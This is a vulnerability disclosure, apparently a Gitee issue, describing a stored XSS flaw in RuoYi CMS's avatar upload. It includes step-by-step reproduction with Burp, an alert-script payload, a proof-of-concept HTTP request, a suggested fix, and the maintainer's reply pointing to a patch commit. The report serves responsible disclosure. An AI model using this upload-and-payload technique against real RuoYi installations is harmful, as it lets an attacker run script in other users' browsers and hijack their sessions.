Vulnerability disclosure
Vulnerability title: The html file can be uploaded where the avatar is uploaded, and its content not be filtered, which resulting in stored XSS in Ruoyi cms
Product: https://github.com/yangzongzhuan/RuoYi
Affected Versions: v4.7.3(the lastest vesion)
Discovery time: 2022.5.16
Found by: solarpeng502
Exploit sence: The System allows multiple users to log in. If a user is granted user management rights, he can insert a malicious xss payload on user management page, so that all users with this permission can access and trigger an xss attack
Analysis report:
If you are not Chinese,please change the language into the English through Browser translation plugin such as Google.
After deployment, enter the background management page

Click the avatar into the personal center

Click the "modify avatar",and upload a normal image,the click OK button


Intercept the request package with a packet capture tool such as burp, change the file suffix to html, and change the content with xss payload such as "<script>alert(1)</script>,then pass the request,and the response shows "{"msg":"操作成功","code":0}",which means upload success



Refresh the index page,start burp,and then click the avatar again,the burp will intercept the xss html that we upload


Copy the html url,and then send to the other users using Ruoyi cms,if they click,the xss attack is triggered

POC:
POST /system/user/profile/updateAvatar HTTP/1.1
Host: mysite.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------21781164112778176297556867959
Content-Length: 249
Origin: http://mysite.com/
Connection: close
Referer: http://mysite.com/system/user/profile/avatar
Cookie: Your cookies
-----------------------------21781164112778176297556867959
Content-Disposition: form-data; name="avatarfile"; filename="blob.html"
Content-Type: image/png
-----------------------------21781164112778176297556867959--
Fixes: The backend should verify the file suffix, and do not allow html file upload;or check the content in Html file that filter xss payloads.
多谢提醒,已修复。更新提交代码即可。
用户头像上传格式限制
https://gitee.com/y_project/RuoYi/commit/d8b2a9a905fb750fa60e2400238cf4750a77c5e6
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。
登录 后才可以发表评论